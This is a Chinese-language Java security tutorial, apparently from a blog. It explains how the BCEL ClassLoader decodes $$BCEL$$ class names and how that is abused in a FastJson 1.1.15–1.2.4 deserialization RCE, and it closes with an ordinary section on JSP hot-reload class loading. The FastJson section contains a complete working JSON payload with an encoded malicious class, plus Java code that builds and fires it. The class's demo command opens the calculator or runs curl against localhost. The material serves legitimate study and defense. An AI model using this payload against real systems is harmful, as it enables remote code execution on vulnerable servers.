- 输入验证:对所有输入进行严格验证,避免执行未经过滤的用户输入。
- 代码审计:定期对代码进行安全审计,确保没有潜在的漏洞。
- 使用 WAF:部署 Web 应用防火墙(WAF),检测和阻止恶意请求。
- 加密通信:确保客户端和服务器之间的通信是加密的,防止中间人攻击。
通过了解冰蝎 JSP 后门的工作原理和防御措施,开发者可以更好地保护自己的应用程序免受类似攻
# BCEL ClassLoader
BCEL(Byte Code Engineering Library)是一个用于分析、创建和操纵 Java 字节码的工具库。开发者可以使用 BCEL 创建、修改和检查 Java 类文件中的字节码。它在静态分析、安全研究和代码生成方面具有重要应用。
# BCEL 的类加载器(ClassLoader)
BCEL 提供了一个自定义类加载器,用于加载通过 BCEL 生成或修改的类。在 Oracle JDK 中,BCEL 库的类加载器被引用,并将其包名从 org.apache.bcel.util.ClassLoader
修改为 com.sun.org.apache.bcel.internal.util.ClassLoader
。
# 特殊处理的类名:BCEL 标识
BCEL 的类加载器在解析类名时,会对包含 $$BCEL$$
标识的类做特殊处理。这一特性使得 BCEL 在生成和加载动态字节码时,可以识别并处理特定的类名。
# 攻击 Payload 中的应用
这种特殊处理机制被一些攻击者利用,用于编写和加载恶意的 Java 类。这种技术在一些 Java 反序列化攻击和远程代码执行漏洞利用中被广泛应用。
# 攻击过程概述
- 生成恶意字节码:
- 攻击者使用 BCEL 生成包含恶意代码的 Java 类字节码,并将类名包含
$$BCEL$$
标识。
- 攻击者使用 BCEL 生成包含恶意代码的 Java 类字节码,并将类名包含
- 加密和传输:
- 为了绕过简单的安全检测,攻击者通常会对生成的字节码进行加密或编码,并通过网络传输到目标系统。
- 解码和加载:
- 目标系统通过反序列化或其他方式接收并解码恶意字节码。
- 使用自定义类加载器加载解码后的字节码。
- 执行恶意代码:
- 通过调用恶意类的方法,执行嵌入的恶意代码,达到攻击目的。
# 详细示例
以下是一个简化的示例,展示了如何使用 BCEL 生成包含 $$BCEL$$
标识的恶意类,并通过自定义类加载器加载和执行该类。
# 生成恶意字节码
首先,使用 BCEL 生成一个包含恶意代码的类,并将类名包含 $$BCEL$$
标识:
Pom.xml 设置:
<dependencies> | |
<dependency> | |
<groupId>org.apache.bcel</groupId> | |
<artifactId>bcel</artifactId> | |
<version>6.5.0</version> <!-- 确保使用最新版本 --> | |
</dependency> | |
</dependencies> |
import org.apache.bcel.generic.ClassGen; | |
import org.apache.bcel.generic.ConstantPoolGen; | |
import org.apache.bcel.generic.InstructionList; | |
import org.apache.bcel.generic.MethodGen; | |
import org.apache.bcel.generic.Type; | |
import org.apache.bcel.Constants; | |
public class BCELExample { | |
public static void main(String[] args) { | |
String className = "Exploit$$BCEL$$"; | |
ClassGen classGen = new ClassGen(className, "java.lang.Object", "<generated>", | |
Constants.ACC_PUBLIC | Constants.ACC_SUPER, null); | |
ConstantPoolGen cpGen = classGen.getConstantPool(); | |
InstructionList il = new InstructionList(); | |
MethodGen methodGen = new MethodGen(Constants.ACC_PUBLIC, Type.VOID, Type.NO_ARGS, new String[] {}, "exploit", | |
className, il, cpGen); | |
// 添加简单的打印指令 | |
il.append(new org.apache.bcel.generic.PUSH(cpGen, "Exploit executed!")); | |
il.append(new org.apache.bcel.generic.INVOKESTATIC(cpGen.addMethodref("java.lang.System", "out", "Ljava/io/PrintStream;"), "println", "(Ljava/lang/String;)V")); | |
il.append(org.apache.bcel.generic.InstructionFactory.createReturn(Type.VOID)); | |
methodGen.setMaxStack(); | |
classGen.addMethod(methodGen.getMethod()); | |
il.dispose(); | |
try { | |
java.io.FileOutputStream fos = new java.io.FileOutputStream("Exploit$$BCEL$$.class"); | |
classGen.getJavaClass().dump(fos); | |
fos.close(); | |
} catch (java.io.IOException e) { | |
e.printStackTrace(); | |
} | |
} | |
} |
# BCEL 攻击原理
当 BCEL 的 com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass
加载一个类名中带有 $$BCEL$$
的类时会截取出 $$BCEL$$
后面的字符串,然后使用 com.sun.org.apache.bcel.internal.classfile.Utility#decode
将字符串解析成类字节码(带有攻击代码的恶意类),最后会调用 defineClass
注册解码后的类,一旦该类被加载就会触发类中的恶意代码,正是因为 BCEL 有了这个特性,才得以被广泛的应用于各类攻击 Payload 中。
# BCEL 编解码
BCEL 编码:
private static final byte[] CLASS_BYTES = new byte[]{类字节码byte数组}]; | |
// BCEL 编码类字节码 | |
String className = "$$BCEL$$" + com.sun.org.apache.bcel.internal.classfile.Utility.encode(CLASS_BYTES, true); |
编码后的类名: $$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85S$dbn$d......
,BCEL 会对类字节码进行编码,
BCEL 解码:
int index = className.indexOf("$$BCEL$$"); | |
String realName = className.substring(index + 8); | |
// BCEL 解码类字节码 | |
byte[] bytes = com.sun.org.apache.bcel.internal.classfile.Utility.decode(realName, true); |
如果被加载的类名中包含了 $$BCEL$$
关键字,BCEL 就会使用特殊的方式进行解码并加载解码之后的类。
# BCEL 兼容性问题
BCEL 这个特性仅适用于 BCEL 6.0 以下,因为从 6.0 开始 org.apache.bcel.classfile.ConstantUtf8#setBytes
就已经过时了,如下:
/** | |
* @param bytes the raw bytes of this Utf-8 | |
* @deprecated (since 6.0) | |
*/ | |
@java.lang.Deprecated | |
public final void setBytes( final String bytes ) { | |
throw new UnsupportedOperationException(); | |
} |
Oracle 自带的 BCEL 是修改了原始的包名,因此也有兼容性问题,已知支持该特性的 JDK 版本为: JDK1.5 - 1.7
、 JDK8 - JDK8u241
、 JDK9
。
# BCEL FastJson 攻击链分析
Fastjson(1.1.15 - 1.2.4)可以使用其中有个 dbcp 的 Payload 就是利用了 BCEL 攻击链,利用代码如下:
{"@type":"org.apache.commons.dbcp.BasicDataSource","driverClassName":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$85R$5bO$TA$U$fe$a6$z$dde$bbXX$$$e2$F$z$8aPJ$e9r$x$X$r$3e$d8$60$a2$U1$b6$b1$89o$d3$e9$a4$ynw$9b$dd$a9$c2$l1$f1$X$f0$cc$L$S$l$fc$B$fe$p$l4$9e$5d$h$U$rqvsf$ce7$e7$7c$e7$9b$99$f3$f5$c7$e7$_$AV$b0i$m$8b$9b$3an$e9$b8m$60$Kwt$dc5$90$c3$b4$8e$7b$3a$ee$eb$981$f0$A$b3$91$99$d3$907$60b$5eCA$c3$CCz$db$f1$i$f5$98$n$99$9f$7f$cd$90$aa$f8$z$c9$90$ad$3a$9e$7c$d1$eb4eP$e7M$97$Q$7d$5b$b8$fd$c8$a1$9a$e2$e2$ed$k$ef$c6$5b$g$8a$c4$c9$60$d4$fc$5e$m$e4S$t$8a$b6$ea2TO$w$3b$d5$8a$cb$c3$b0t$c8$dfq$T$c3$Ya$98$f0$bb$d2$cb$z$f2$5c$85$bb$a2$e7r$e5$H$r$de$ed2h$7eX$f2x$87$f8$WM$94$60$T$d2p$bc$96$ff$3e$a4$K$s$96$b0L$c9$82$92r$cb$x$abk$e5$f5$8d$cd$ad$a5$fe$8aa$80$f4$f6$8e$Y$c6D$_ps$aeOq$H$7e$a8$kn$d1$b05$ac$98X$c5$9a$892$d6$ZF$p5$b6$e3$db$cf$f6w$8e$84$ec$w$c7$f7LlD$e2$e6$84$df$b1$b9$d7$e4$8e$jJa$8bH$bc$eb$f3$96$M$ecK$Hb$Y$8eI$5c$ee$b5$ed$fd$e6$a1$U$ea$STS$81$e3$b5$_C$c7$a1$92$j$86L$5b$aa$97$B$5dB$a0$8e$Zf$f3$d5$bf$b3$k$cd$ff$L$d1$ed$86$8a$H$wl8$ea$80a$fc$aa$ac7$M$p$bf$d1W$3dO9$jz$J$83$ea$5d8$e3$f9$3f$c9$fb0$b1$a7$e4$91$Ut$fc$ff$a8$n$ddB$86$n$rd$bb$b4$a9$e2$3e$a8$H$5cHL$e3$g$f5$604$S$60$d1K$93$b5$c8$9b$a2$99$d1$3cP$f8$EvJ$L$ba$7f$b2$e9_$mt$8c$5d$84$7e$a0$d4$q$cde$x$b1k$r$cf$91$aa$$X$DgH$7f$c4$a0$a5$ed$9e$m$bb$60$e9$b1$9b$b6$Gw$cfa$U$ce$90i$9c$40$df$x$9ea$e8$94HfP$84M$bd$9d$88K$94$90$n$ab$T$e5$m$7d$Z$wab$SC$b1$d2$Z$f2$8a$Y$a7$e8Qj$ac1$aca$82$3c$90$97$fa$8eI$N$T$f4g$9ek$b8$fe$N$v$o$9e$8c$8fu$e3$t$b2$b7e$b6p$D$A$A","driverClassLoader":{"@type":"org.apache.bcel.util.ClassLoader"}} |
FastJson 自动调用 setter 方法修改 org.apache.commons.dbcp.BasicDataSource
类的 driverClassName
和 driverClassLoader
值, driverClassName
是经过 BCEL 编码后的 com.anbai.sec.classloader.TestBCELClass
类字节码, driverClassLoader
是一个由 FastJson 创建的 org.apache.bcel.util.ClassLoader
实例。
示例 - com.anbai.sec.classloader.TestBCELClass 类:
package com.anbai.sec.classloader; | |
import java.io.IOException; | |
public class TestBCELClass { | |
static { | |
String command = "open -a Calculator.app"; | |
String osName = System.getProperty("os.name"); | |
if (osName.startsWith("Windows")) { | |
command = "calc 12345678901234567"; | |
} else if (osName.startsWith("Linux")) { | |
command = "curl localhost:9999/"; | |
} | |
try { | |
Runtime.getRuntime().exec(command); | |
} catch (IOException e) { | |
e.printStackTrace(); | |
} | |
} | |
} |
使用 BCEL 编码 com.anbai.sec.classloader.TestBCELClass 类字节码:
/** | |
* 将一个 Class 文件编码成 BCEL 类 | |
* | |
* @param classFile Class 文件路径 | |
* @return 编码后的 BCEL 类 | |
* @throws IOException 文件读取异常 | |
*/ | |
public static String bcelEncode(File classFile) throws IOException { | |
return "$$BCEL$$" + Utility.encode(FileUtils.readFileToByteArray(classFile), true); | |
} |
从 JSON 反序列化实现来看,只是注入了类名和类加载器并不足以触发类加载,导致命令执行的关键问题就在于 FastJson 会自动调用 getter 方法, org.apache.commons.dbcp.BasicDataSource
本没有 connection
成员变量,但有一个 getConnection()
方法,按理来讲应该不会调用 getConnection()
方法,但是 FastJson 会通过 getConnection()
这个方法名计算出一个名为 connection
的 field,详情参见:com.alibaba.fastjson.util.TypeUtils#computeGetters,因此 FastJson 最终还是调用了 getConnection()
方法。
当 getConnection()
方法被调用时就会使用注入进来的 org.apache.bcel.util.ClassLoader
类加载器加载注入进来恶意类字节码,如下图:
因为使用了反射的方式加载 com.anbai.sec.classloader.TestBCELClass
类,而且还特意指定了需要初始化类( Class.forName(driverClassName, true, driverClassLoader);
),因此该类的静态语句块( static{...}
)将会被执行,完整的攻击示例代码如下:
package com.anbai.sec.classloader; | |
import com.alibaba.fastjson.JSON; | |
import com.alibaba.fastjson.JSONObject; | |
import com.sun.org.apache.bcel.internal.classfile.Utility; | |
import org.apache.commons.dbcp.BasicDataSource; | |
import org.javaweb.utils.FileUtils; | |
import java.io.File; | |
import java.io.IOException; | |
import java.util.LinkedHashMap; | |
import java.util.Map; | |
public class BCELClassLoader { | |
/** | |
* com.anbai.sec.classloader.TestBCELClass 类字节码,Windows 和 MacOS 弹计算器,Linux 执行 curl localhost:9999 | |
* </pre> | |
*/ | |
private static final byte[] CLASS_BYTES = new byte[]{ | |
-54, -2, -70, -66, 0, 0, 0, 50, 0, //.... 因字节码过长此处省略,完整代码请参考:https://github.com/javaweb-sec/javaweb-sec/blob/master/javaweb-sec-source/javase/src/main/java/com/anbai/sec/classloader/BCELClassLoader.java | |
}; | |
/** | |
* 将一个 Class 文件编码成 BCEL 类 | |
* | |
* @param classFile Class 文件路径 | |
* @return 编码后的 BCEL 类 | |
* @throws IOException 文件读取异常 | |
*/ | |
public static String bcelEncode(File classFile) throws IOException { | |
return "$$BCEL$$" + Utility.encode(FileUtils.readFileToByteArray(classFile), true); | |
} | |
/** | |
* BCEL 命令执行示例,测试时请注意兼容性问题:① 适用于 BCEL 6.0 以下。② JDK 版本为:JDK1.5 - 1.7、JDK8 - JDK8u241、JDK9 | |
* | |
* @throws Exception 类加载异常 | |
*/ | |
public static void bcelTest() throws Exception { | |
// 使用反射是为了防止高版本 JDK 不存在 com.sun.org.apache.bcel.internal.util.ClassLoader 类 | |
// Class<?> bcelClass = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader"); | |
// 创建 BCEL 类加载器 | |
// ClassLoader classLoader = (ClassLoader) bcelClass.newInstance(); | |
// ClassLoader classLoader = new com.sun.org.apache.bcel.internal.util.ClassLoader(); | |
ClassLoader classLoader = new org.apache.bcel.util.ClassLoader(); | |
// BCEL 编码类字节码 | |
String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true); | |
System.out.println(className); | |
Class<?> clazz = Class.forName(className, true, classLoader); | |
System.out.println(clazz); | |
} | |
/** | |
* Fastjson 1.1.15 - 1.2.4 反序列化 RCE 示例,示例程序考虑到测试环境的兼容性,采用的都是 Apache commons dbcp 和 bcel | |
* | |
* @throws IOException BCEL 编码异常 | |
*/ | |
public static void fastjsonRCE() throws IOException { | |
// BCEL 编码类字节码 | |
String className = "$$BCEL$$" + Utility.encode(CLASS_BYTES, true); | |
// 构建恶意的 JSON | |
Map<String, Object> dataMap = new LinkedHashMap<String, Object>(); | |
Map<String, Object> classLoaderMap = new LinkedHashMap<String, Object>(); | |
dataMap.put("@type", BasicDataSource.class.getName()); | |
dataMap.put("driverClassName", className); | |
classLoaderMap.put("@type", org.apache.bcel.util.ClassLoader.class.getName()); | |
dataMap.put("driverClassLoader", classLoaderMap); | |
String json = JSON.toJSONString(dataMap); | |
System.out.println(json); | |
JSONObject jsonObject = JSON.parseObject(json); | |
System.out.println(jsonObject); | |
} | |
public static void main(String[] args) throws Exception { | |
// bcelTest(); | |
fastjsonRCE(); | |
} | |
} |
# JSP 类加载
JSP 是 JavaEE 中的一种常用的脚本文件,可以在 JSP 中调用 Java 代码,实际上经过编译后的 jsp 就是一个 Servlet 文件,JSP 和 PHP 一样可以实时修改。
众所周知,Java 的类是不允许动态修改的(这里特指新增类方法或成员变量),之所以 JSP 具备热更新的能力,实际上借助的就是自定义类加载行为,当 Servlet 容器发现 JSP 文件发生了修改后就会创建一个新的类加载器来替代原类加载器,而被替代后的类加载器所加载的文件并不会立即释放,而是需要等待 GC。
示例 - 模拟的 JSP 文件动态加载程序:
package com.anbai.sec.classloader; | |
import javassist.ClassPool; | |
import javassist.CtClass; | |
import javassist.CtMethod; | |
import java.io.File; | |
import java.lang.reflect.Method; | |
import java.lang.reflect.Modifier; | |
import java.util.HashMap; | |
import java.util.Map; | |
public class TestJSPClassLoader { | |
/** | |
* 缓存 JSP 文件和类加载,刚 jsp 文件修改后直接替换类加载器实现 JSP 类字节码热加载 | |
*/ | |
private final Map<File, JSPClassLoader> jspClassLoaderMap = new HashMap<File, JSPClassLoader>(); | |
/** | |
* 创建用于测试的 test.jsp 类字节码,类代码如下: | |
* <pre> | |
* package com.anbai.sec.classloader; | |
* | |
* public class test_jsp { | |
* public void _jspService () { | |
* System.out.println ("Hello..."); | |
* } | |
* } | |
* </pre> | |
* | |
* @param className 类名 | |
* @param content 用于测试的输出内容,如:Hello... | |
* @return test_java 类字节码 | |
* @throws Exception 创建异常 | |
*/ | |
public static byte[] createTestJSPClass(String className, String content) throws Exception { | |
// 使用 Javassist 创建类字节码 | |
ClassPool classPool = ClassPool.getDefault(); | |
// 创建一个类,如:com.anbai.sec.classloader.test_jsp | |
CtClass ctServletClass = classPool.makeClass(className); | |
// 创建_jspService 方法 | |
CtMethod ctMethod = new CtMethod(CtClass.voidType, "_jspService", new CtClass[]{}, ctServletClass); | |
ctMethod.setModifiers(Modifier.PUBLIC); | |
// 写入 hello 方法代码 | |
ctMethod.setBody("System.out.println(\"" + content + "\");"); | |
// 将 hello 方法添加到类中 | |
ctServletClass.addMethod(ctMethod); | |
// 生成类字节码 | |
byte[] bytes = ctServletClass.toBytecode(); | |
// 释放资源 | |
ctServletClass.detach(); | |
return bytes; | |
} | |
/** | |
* 检测 jsp 文件是否改变,如果发生了修改就重新编译 jsp 并更新该 jsp 类字节码 | |
* | |
* @param jspFile JSP 文件对象,因为是模拟的 jsp 文件所以这个文件不需要存在 | |
* @param className 类名 | |
* @param bytes 类字节码 | |
* @param parent JSP 的父类加载 | |
*/ | |
public JSPClassLoader getJSPFileClassLoader(File jspFile, String className, byte[] bytes, ClassLoader parent) { | |
JSPClassLoader jspClassLoader = this.jspClassLoaderMap.get(jspFile); | |
// 模拟第一次访问 test.jsp 时 jspClassLoader 是空的,因此需要创建 | |
if (jspClassLoader == null) { | |
jspClassLoader = new JSPClassLoader(parent); | |
jspClassLoader.createClass(className, bytes); | |
// 缓存 JSP 文件和所使用的类加载器 | |
this.jspClassLoaderMap.put(jspFile, jspClassLoader); | |
return jspClassLoader; | |
} | |
// 模拟第二次访问 test.jsp,这个时候内容发生了修改,这里实际上应该检测文件的最后修改时间是否相当, | |
// 而不是检测是否是 0,因为当 jspFile 不存在的时候返回值是 0,所以这里假设 0 表示这个文件被修改了, | |
// 那么需要热加载该类字节码到类加载器。 | |
if (jspFile.lastModified() == 0) { | |
jspClassLoader = new JSPClassLoader(parent); | |
jspClassLoader.createClass(className, bytes); | |
// 缓存 JSP 文件和所使用的类加载器 | |
this.jspClassLoaderMap.put(jspFile, jspClassLoader); | |
return jspClassLoader; | |
} | |
return null; | |
} | |
/** | |
* 使用动态的类加载器调用 test_jsp#_jspService 方法 | |
* | |
* @param jspFile JSP 文件对象,因为是模拟的 jsp 文件所以这个文件不需要存在 | |
* @param className 类名 | |
* @param bytes 类字节码 | |
* @param parent JSP 的父类加载 | |
*/ | |
public void invokeJSPServiceMethod(File jspFile, String className, byte[] bytes, ClassLoader parent) { | |
JSPClassLoader jspClassLoader = getJSPFileClassLoader(jspFile, className, bytes, parent); | |
try { | |
// 加载 com.anbai.sec.classloader.test_jsp 类 | |
Class<?> jspClass = jspClassLoader.loadClass(className); | |
// 创建 test_jsp 类实例 | |
Object jspInstance = jspClass.newInstance(); | |
// 获取 test_jsp#_jspService 方法 | |
Method jspServiceMethod = jspClass.getMethod("_jspService"); | |
// 调用_jspService 方法 | |
jspServiceMethod.invoke(jspInstance); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
public static void main(String[] args) throws Exception { | |
TestJSPClassLoader test = new TestJSPClassLoader(); | |
String className = "com.anbai.sec.classloader.test_jsp"; | |
File jspFile = new File("/data/test.jsp"); | |
ClassLoader classLoader = ClassLoader.getSystemClassLoader(); | |
// 模拟第一次访问 test.jsp 文件自动生成 test_jsp.java | |
byte[] testJSPClass01 = createTestJSPClass(className, "Hello..."); | |
test.invokeJSPServiceMethod(jspFile, className, testJSPClass01, classLoader); | |
// 模拟修改了 test.jsp 文件,热加载修改后的 test_jsp.class | |
byte[] testJSPClass02 = createTestJSPClass(className, "World..."); | |
test.invokeJSPServiceMethod(jspFile, className, testJSPClass02, classLoader); | |
} | |
/** | |
* JSP 类加载器 | |
*/ | |
static class JSPClassLoader extends ClassLoader { | |
public JSPClassLoader(ClassLoader parent) { | |
super(parent); | |
} | |
/** | |
* 创建类 | |
* | |
* @param className 类名 | |
* @param bytes 类字节码 | |
*/ | |
public void createClass(String className, byte[] bytes) { | |
defineClass(className, bytes, 0, bytes.length); | |
} | |
} | |
} |
该示例程序通过 Javassist 动态生成了两个不同的 com.anbai.sec.classloader.test_jsp
类字节码,模拟 JSP 文件修改后的类加载,核心原理就是检测到 JSP 文件修改后动态替换类加载器,从而实现 JSP 热加载,具体的处理逻辑如下(第 3 和第 4 部未实现,使用了 Javassist 动态创建):
- 模拟客户端第一次访问 test.jsp;
- 检测是否已缓存了 test.jsp 的类加载;
Servlet 容器找到 test.jsp 文件并编译成 test_jsp.java;编译成 test_jsp.class 文件;- 创建 test.jsp 文件专用的类加载器
jspClassLoader
,并缓存到jspClassLoaderMap
对象中; jspClassLoader
加载 test_jsp.class 字节码并创建com.anbai.sec.classloader.test_jsp
类;jspClassLoader
调用com.anbai.sec.classloader.test_jsp
类的_jspService
方法;- 输出
Hello...
; - 模拟客户端第二次访问 test.jsp;
- 假设 test.jsp 文件发生了修改,重新编译 test.jsp 并创建一个新的类加载器
jspClassLoader
加载新的类字节码; - 使用新创建的
jspClassLoader
类加载器调用com.anbai.sec.classloader.test_jsp
类的_jspService
方法; - 输出
World...
;